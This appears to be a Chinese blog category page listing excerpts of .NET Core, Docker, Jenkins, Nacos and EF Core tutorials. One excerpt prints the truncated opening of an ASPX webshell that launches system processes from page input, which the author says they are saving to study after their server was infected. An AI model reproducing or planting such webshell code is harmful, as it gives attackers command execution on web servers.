
NetCore
文章平均质量分 58
沐雪架构师
专注于 AI人工智能 | AI大模型开发 | 软件架构 | 软件技术
展开
-
沐雪多租宝商城.NetCore3.1升级到.Net6的步骤
沐雪多租宝商城源码从.NetCore3.1升级到.Net6的步骤原创 2022-03-01 22:51:36 · 2724 阅读 · 0 评论 -
CICD持续集成部署系列9-Jenkins部署.NetCore微服务
CICD持续集成部署系列1- gitlab安装和使用CICD持续集成部署系列2-使用 harbor 搭建 Docker 私有仓库CICD持续集成部署系列3-Jenkins基础概念CICD持续集成部署系列4-Jenkins安装和常用插件CICD持续集成部署系列5-Jenkins与Git打通CICD持续集成部署系列6-NetCore项目编译发布构建镜像的方法说明CICD持续集成部署系列7- Jenkins项目构建-Pipeline流水线项目构建CICD持续集成部署系列8-Jenkin原创 2022-01-03 22:17:07 · 1338 阅读 · 0 评论 -
.NetCore使用NacOS 2.0作为配置中心的方法
Nacos简介Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。详情可以查看官网:https://nacos.io/zh-cn/docs/what-is-nacos.html搭建Nacos教程自建Nacos的方原创 2022-01-03 22:12:19 · 2215 阅读 · 1 评论 -
CICD持续集成部署系列2-使用 harbor 搭建 Docker 私有仓库
一、harbor 介绍harbor ['hɑ:bə ə] (海湾)是一个用于存储和分发Docker镜像的企业级Registry服务器。 Docker 容器应用的开发和运行离不开可靠的镜像管理,虽然 Docker 官方也提供了公共的镜像仓库,但是从安全和效率等方面考虑,部署我们私有环境内的 Registry 也是非常必要的。Harbor 是由 VMware 公司开源的企业级的Docker Registry 管理项目,它包括权限管理(RBAC)、LDAP、日志审核、管理界面、自我..原创 2021-12-30 23:05:39 · 1265 阅读 · 0 评论 -
.Net Core 5 使用 Serilog记录日志并输出至ElasticSearch
.Net Core 5项目中日志组件Serilog将日志信息输出到ElasticSearch,然后可以在Kibana里查看。这个是比较常见的操作。今天就来讲解下具体的代码实现。前提:搭建好elk相关应用。一、代码实现1、Nuget添加包: Serilog.AspNetCoreSerilog.Extensions.LoggingSerilog.Sinks.Elasticsearch2、Program里添加代码: using Serilog;.原创 2021-12-30 23:01:14 · 3311 阅读 · 0 评论 -
centos安装 docker的教程
本文主要讲解docker的操作的整体过程,一边讲解操作,一遍讲解原理。docker操作一般分4个步骤:1、安装Docker;2、运行Docker;3、下载镜像;4、启动Docker容器实例;一、安装Docker我们使用的服务器环境是CentOs 7.9 。1、安装环境依赖yum install -y yum-utils device-mapper-persistent-data lvm22、配置国内 docker 的 yum原创 2021-11-04 13:25:37 · 3966 阅读 · 0 评论 -
Consul启动的常见命令解释,持久化命令
Consul的官方命令参数说明:Configuration | Consul by HashiCorpThe agent has various configuration options that can be specified via the command-line or via configuration files. All of the configuration options are completely optional. Defaults are specified with thei原创 2021-11-04 10:35:12 · 4310 阅读 · 0 评论 -
Docker的常用命令-启动,开机启动,重启策略,重命名
1、Docker 容器命名:运行时指定名字docker run -d --name 容器实例名 镜像名 要执行的命令---命名-d 后台执行比如:docker run -itd --name mytestname centos bash-it用于控制台交互,-d指定容器运行于前台还是后台,默认为falsedocker ps 查看正在运行中 的容器docker ps -a 可以将正在运行的,失败的,退出的容器都显示出来。...原创 2021-11-04 09:40:34 · 3434 阅读 · 0 评论 -
net5项目手动发布到Linux环境的docker的超级简单方法
本文讲解的是.net5创建的一个小项目Demo,发布后的文件,添加个Dockerfile 就可以在Docker上正常运行。写作的目的:1、不建议使用Visual Studio 自带的Dockerfile+Docker Desktop 这个组合,因为使用这个玩意,你都不知道它到底干了些啥。2、我们发布站点的通常做法是,使用VS发布项目到文件夹,然后将发布的文件夹拷贝到站点目录下,然后创建IIS站点,那么Docker环境下是否也可以这么操作呢?答案是肯定的。3、本地电脑安装了VM原创 2021-10-20 15:29:46 · 1322 阅读 · 0 评论 -
nuget server服务器搭建
有的时候,我们想要制作一些nuget包,供自己内部调用,不想公开出去,那么就需要一个能够集中管理nuget包的服务了,今天我来给大家介绍一款轻便好用的包管理服务-----BaGet下载并部署BaGet服务端1、点击下载BaGet程序包 https://github.com/loic-sharma/BaGet/releases ,下载后解压可以看到下图目录2、将文件上传到服务器上,服务器上要安装 .netcore 3.1的sdkDownload .NET (Linux, macO原创 2021-10-12 14:36:39 · 433 阅读 · 0 评论 -
webshell的代码记录下,以后有空研究下这个玩意到底有多强大
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><script Language="c#" runat="server">protected void FbhN(object sender,EventArgs e){try{Process ahAE=new Process();ahAE.StartInfo.Fil.原创 2021-10-10 13:22:38 · 242 阅读 · 0 评论 -
服务器开启防火墙后https站点无法访问
最近放服务器中病毒,各种webshell后门。开始了各种杀毒,开启防火墙,升级打补丁。结果吧我的https站点搞挂了,停了2天。又各种排查,到最后阿里云提交工单,才发现是防火墙的缘故,需要在服务器的防火墙开启443端口。windowns允许或禁止特定本地端口访问的方法如下:登录服务器 单击开始>控制面板>系统和安全>Windows 防火墙。 单击高级设置。 单击入站规则>新建规则。 单击规则类型,页面右侧选择端口。 ...原创 2021-10-10 13:11:03 · 972 阅读 · 0 评论 -
NetCore多图片批量上传阿里云OSS,代码可以直接拿过来用
背景图片上传功能是web开发必不可少的功能。图片上传到哪里其实都是一个非常头疼的事情,多个文件源各种地址组合,经常会出现图片地址错误问题。自从前后端分离、小程序、app成为流行后,大家一般都会将文件、图片等静态资源存储在独立的一个源,公司可以自己搭建一个文件中心,更多的是将这些静态资源存放在像阿里云oss,七牛云等专业的文件资源存储。这样会减少很多不必要的麻烦。今天我们来写一个批量上传阿里云OSS的方法,大家可以直接拿来使用。很简单的。开发和配置开发环境:.NetCore3.1,Net5提前原创 2021-07-20 21:01:14 · 2314 阅读 · 3 评论 -
2021年非常全的.NET Core面试题
1.如何在ASP.NET Core中激活Session功能? 首先要添加session包. 其次要在configservice方法里面添加session。然后又在configure方法里面调用usesession。。2.什么是中间件? 中间件在这里是指注入到应用中处理请求和响应的组件。是通过多个委托来嵌套形成的一个俄罗斯套娃!或者微软官方原话:http://www.zyiz.net/...原创 2021-07-11 14:05:42 · 33343 阅读 · 7 评论 -
2021年非常全的.NET Core面试题(二)
一.垃圾回收机制1. 简述一下一个引用对象的生命周期?(创建>使用>释放)new创建对象并分配内存对象初始化对象操作、使用资源清理(非托管资源)GC垃圾回收2. 创建下面对象实例,需要申请多少内存空间?publicclassUser{publicintAge{get;set;}publicstringName{get;set;}publicstring_Name="123"+"abc...原创 2021-07-11 14:04:11 · 5705 阅读 · 0 评论 -
.NetCore 3.1和.NetCore 5.0 中WebApi的请求参数的验证方法
我们在开发WebApi或者asp.net core mvc时,一般都是要对接口的入参进行验证。若入参为一个实体,我们一般用注解的方式(DataAnnotations)+ModelState,或者FluentValidation来验证实体。这几种常用的方法我就不总结了,网上有一大堆。参考:https://www.cnblogs.com/lwqlun/p/10311945.htmlhttp://www.zyiz.net/tech/detail-200294.html但是若接口的入参不是实体,原创 2021-07-10 14:33:00 · 2066 阅读 · 3 评论 -
asp.net core 3.1和 .Net 5.0中使用AutoFac作为IoC容器组件
一、为啥要使用第3方依赖注入框架?1、微软官方提供的依赖注入框架已经很强大,一般情况无需第3方DI容器;2、但是在一些特殊情况,需要第3方DI容器增强依赖注入功能,一般有如下几种情况:• 基于名称的注入(比如一个解决方案(一个webapi项目)同时作为多个MQ的消费者)• 属性注入• 子容器• 基于动态代理的 AOP...原创 2021-07-08 17:46:48 · 1737 阅读 · 0 评论 -
asp.net core mvc 设置区域中的控制器为默认页面
如图,区域Areas里添加了Portal区域,我想将该区域的HomeController里的Index作为浏览访问的首页。该如何做呢? 找了半天百度,竟然没找到方法,最后在官方文档里找到了方法。官方地址:https://docs.microsoft.com/zh-cn/aspnet/core/mvc/controllers/routing?view=aspnetcore-5.0正确的写法是在该Action上添加路由,如下代码:using Microsoft.AspNetCore.Mvc;us原创 2021-07-11 14:01:52 · 1092 阅读 · 0 评论 -
2021沐雪.NetCore多租户商城系统,多商户小程序商城系统
历经1年多,沐雪.NetCore版本的多租户商城系统终于研发成功。全新的技术,全新的界面!我们将采用新的产品名称 -- 多租宝,并且以后都将全部精力致力于该平台的升级研发。《多租宝》功能简介:SaaS模式的多租户/多商户小程序商城系统,可以同时支持多个租户/商户, 每个商户又可以创建多个店铺,每个店铺对应一个小程序商城系统,各个店铺管理各自的店铺功能。自带平台管理系统,可以查看和管理所有商户和所有店铺信息,可以给商户的店铺充值续费,可对所有店铺里的商品和订单进行管理,以及数据统计。一..原创 2021-06-30 22:24:19 · 2292 阅读 · 0 评论 -
c# 实现直接插入排序算法-升序
算法相对简单易懂,就是使用直接插入算法,进行升序排序。 /// <summary> /// 找一找教程网 http://www.zyiz.net/tech/list-101.html /// </summary> /// <param name="args"></param> static void Main(string[] args) { .原创 2021-05-16 13:11:22 · 417 阅读 · 1 评论 -
ASP.NET Core 5 中间件
中间件管道模型 中间件的配置 自定义中间件中间件是一类装配在应用管道的代码,负责处理请求和响应。每个中间件都可在管道中的下一个组件前后执行工作,并选择是否将请求传递到管道中的下一个中间件。在Startup.Configure方法中可以进行中间件的装配。中间件管道模型中间件管道模型如下图所示:ASP.NET Core请求管道包含一系列请求委托,沿黑色箭头依次被调用执行,每个委托均可在下一个委托前后执行操作。这种模型也被形象地称为“俄罗斯套娃”。一个中间件可以是匿名方法的显示嵌入到管.原创 2021-04-24 00:22:35 · 324 阅读 · 0 评论 -
.net core LINQ根据某个字段的特定值排序前置
今天遇到一个要List要把某一个字段特定的一个值排到最前面的需求。using System;using System.Collections.Generic;using System.Linq;namespace NetCoreConsoleApp1{ class Ad { public string a1 { get; set; } public int val { get; set; } = 0; public stri原创 2021-04-22 16:54:08 · 724 阅读 · 0 评论 -
nginx https作网关配置webapi路由规则
1、原webapi接口部署完毕,接口地址比如http://www.zyiz.net/api/getarticle?id=100(我们最常用的webapi规则都是 http://xxx.com/api/xxx)2、nginx 配置成https站点模式; (如何搭建,可以参考如下链接)参考网址:https://github.com/dunwu/nginx-tutorial#%E8%B5%84%E6%BA%90https://www.cnblogs.com/luxiaoyao/p/100..原创 2021-04-10 17:21:51 · 635 阅读 · 1 评论 -
windows 10 安装redis 5 后,设置随机启动服务失败
1、redis 5.0 下载地址:https://github.com/tporadowski/redis/releases下载安装文件Redis-x64-5.0.10.msi2、windows 10安装完redis后,系统服务里就有了redis服务,并且自动随机启动。3、我安装网上一些教程,修改面redis.windows-service.conf的 密码requirepass,结果悲催了,电脑重启后,redis竟然没有随机启动;服务里点击也无法成功。排查了下,发现我改的密码的地方...原创 2021-03-31 23:02:33 · 209 阅读 · 0 评论 -
新买的阿里云服务器ecs绑定域名无法访问
最近新买了一台阿里云ecs,搞了个网站,折腾了很久终于发布到服务器上,绑定域名了。本以为终于大功告成了,结果网站死活打不开!按经验,打不开网站的常规步骤:1、验证本地是否可以打开?在服务器上用域名打不开;再增加一个本地Ip地址,访问正常;说明代码没问题;2、ping,通的,说明网络是通的;3、靠,那是什么鬼?满脸无语,又乱折腾N个小时~~~~最终阿里云上提交了个工单!2个小时候,终于有回复了!!竟然是80端口没有放行!!!阿里云的80端口默认不放行!!!我确信以前的阿里云80端口绝对原创 2021-03-26 00:17:24 · 1786 阅读 · 3 评论 -
.netcore 写快递100的快递物流信息查询接口
快递100的物流信息查询接口,官方提供了一些demo;还好官方提供的代码是.netcore版本写的,不过写的有点low;根据官方提供的代码,我按照.netcore 的风格重构了代码;核心代码如下: /// <summary> /// 沐雪微淘快递100帮助类 /// </summary> public class KuaiDi100Helper { private ILogger _logger; privat原创 2021-03-12 23:37:51 · 569 阅读 · 0 评论 -
asp.net core 3.1 efcore group by 使用
先上代码: //获取上下文 var recordContext = _dbContext.Set<tenant_couponrecord>(); var groupByCoupon = (from r in recordContext where r.tenant_id == tenant_id &原创 2021-02-16 20:21:06 · 2030 阅读 · 0 评论 -
List<sting> 变List<int> Linq中string转int的方法
string source = "1,2,3,4,5";List<int> result = new List<string>(source.Split(',')).ConvertAll(i => int.Parse(i));注:需引用下列命名空间using System.Collections.Generic;using System.Linq;原创 2021-01-28 16:19:03 · 381 阅读 · 0 评论 -
Linq中string转int的方法
string source = "1,2,3,4,5";List<int> result = new List<string>(source.Split(',')).ConvertAll(i => int.Parse(i));原创 2021-07-12 16:36:48 · 441 阅读 · 0 评论 -
tortoisegit 已删除的分支清理
使用命令git remote show origin,可以查看remote地址,远程分支,还有本地分支与之相对应关系等信息清理远程已删除本地还存在的分支 git fetch --prune origin 或者 git fetch -p 或者 git pull -p原创 2021-01-14 10:38:55 · 922 阅读 · 0 评论 -
asp.net core mvc select控件的使用方法
先定义一个实体,里面定义一组数组SelectListItem,这个是微软自带的,命名空间是:Microsoft.AspNetCore.Mvc.Rendering比如以下代码: /// <summary> /// 消息模板创建和修改的请求实体 /// </summary> public class MessageTemplateReq { /// <summary> /// 系统标识 /// </summary&g原创 2021-01-13 22:53:24 · 3474 阅读 · 6 评论 -
git撤销远程commit
git reset --hard [commit_id]git push origin HEAD --force第一步,就是要找到要还原到的版本 commit的id查询用 git log查询,也可以在 gitlab等管理页面上查询;第2步:还原本地git reset --hard [commit_id]第3步骤:强制覆盖远程源仓库 git push origin HEAD --force若提示如下: [remote rejected] HEAD -> mas...原创 2020-11-09 20:48:12 · 1012 阅读 · 0 评论 -
微信h5开发网页授权-本地如何开发调试?
开发带有微信网页授权功能的页面,如何调试,想是很多人开发过程中都会遇到的难题。我的解决方案如下:1、首先按照域名在微信服务号里配置好。如下图:2、在本地Hosts里做该域名的映射.如下:127.0.0.1 ysc.uweixin.cn3、iis里配置站点,域名设置为如上的域名。文件指向本地发布的站点目录。这样就可以正常网页授权了,使用微信开发者工具打开网页即可。4、vs里调试附件到该进程。就可以调试了。...原创 2020-09-19 23:16:42 · 3783 阅读 · 8 评论 -
The instance of entity type ‘xxx‘ cannot be tracked because another instance with the same key value
asp.net core 3.1 环境:场景: 一起执行几个方法体,先在一个地方修改or添加一条记录;接着又在另个地方修改了该条记录,就会报如下错误:具体详细错误信息:The instance of entity type 'xxx' cannot be tracked because another instance with the same key value for {'Id'} is already being tracked. When attaching existing entit.原创 2020-09-10 00:47:19 · 10215 阅读 · 0 评论 -
asp.net core 3.1 Cookie的公共方法
AppHttpContext的封装,请看我上一篇文章https://blog.youkuaiyun.com/puzi0315/article/details/108212189/// <summary> /// 沐雪微淘小程序商城 /// cookie设置 /// </summary> public static class CookieHelper { private static HttpResponse CurrentRe.原创 2021-07-12 16:37:10 · 326 阅读 · 1 评论 -
netcore 3.1 自定义404逻辑
404页面,以前在netframework里,需要在iis上配置,或者在web.config里配置,在netcore mvc里,则可以用中间件来实现,非常简单!(别被“中间件”这个名词吓坏了)!!!直接上代码,1、首先创建一个404页面,比如: [Route("error/404")] public IActionResult Error404() { return View(); }上面的是Acti原创 2020-08-25 00:46:07 · 457 阅读 · 0 评论 -
EFcore 修改部分字段
using System.Linq.Expressions;//用表达式树,部分字段 Expression<Func<CourseSchedule, object>>[] updatedProperties = { p => p.createtime, p => p.teacher };调用Helper类_courseScheduleRepository.Valu..原创 2020-08-25 00:45:28 · 2485 阅读 · 0 评论 -
.netcore 3.1 EFCore报错-The SqlParameterCollection only accepts non-null SqlParameter type objects, no
把.netcore 2.2升级到3.1后,EFcore里,执行自己写的sql一直报错。部分代码如下://using System.Data.SqlClient;<br> List<SmallOrderResp> result = new List<SmallOrderResp>(); string sql = @"select * from cs_orders"; SqlParameter[] parameters原创 2020-08-25 00:44:03 · 607 阅读 · 0 评论 -
asp.net core 3.1 公共类里获取 HttpContext 的方法
场景:在开发web项目的时候,写一些通用的公共方法是很常见的操作,而一些关于Http的操作,经常会用到HttpContext这个对象。若是在Controller里,我们操作就很简单,可以使用注入的方法直接使用:,比如以下代码:public class HomeController : Controller{ private IHttpContextAccessor _accessor; public HomeController(IHttpContextAccessor原创 2020-08-25 00:40:44 · 2699 阅读 · 3 评论 -
asp.net core 3.1 打印EFCore执行的sql
1、StartUp.cs类里定义个全局变量:using Microsoft.Extensions.Logging; public static readonly ILoggerFactory MyLoggerFactory= LoggerFactory.Create(builder =>{#if DEBUG builder.AddConsole();#endif});2、ConfigureServices里添加Mysql上下文时,添加日...原创 2020-08-25 00:39:23 · 2498 阅读 · 0 评论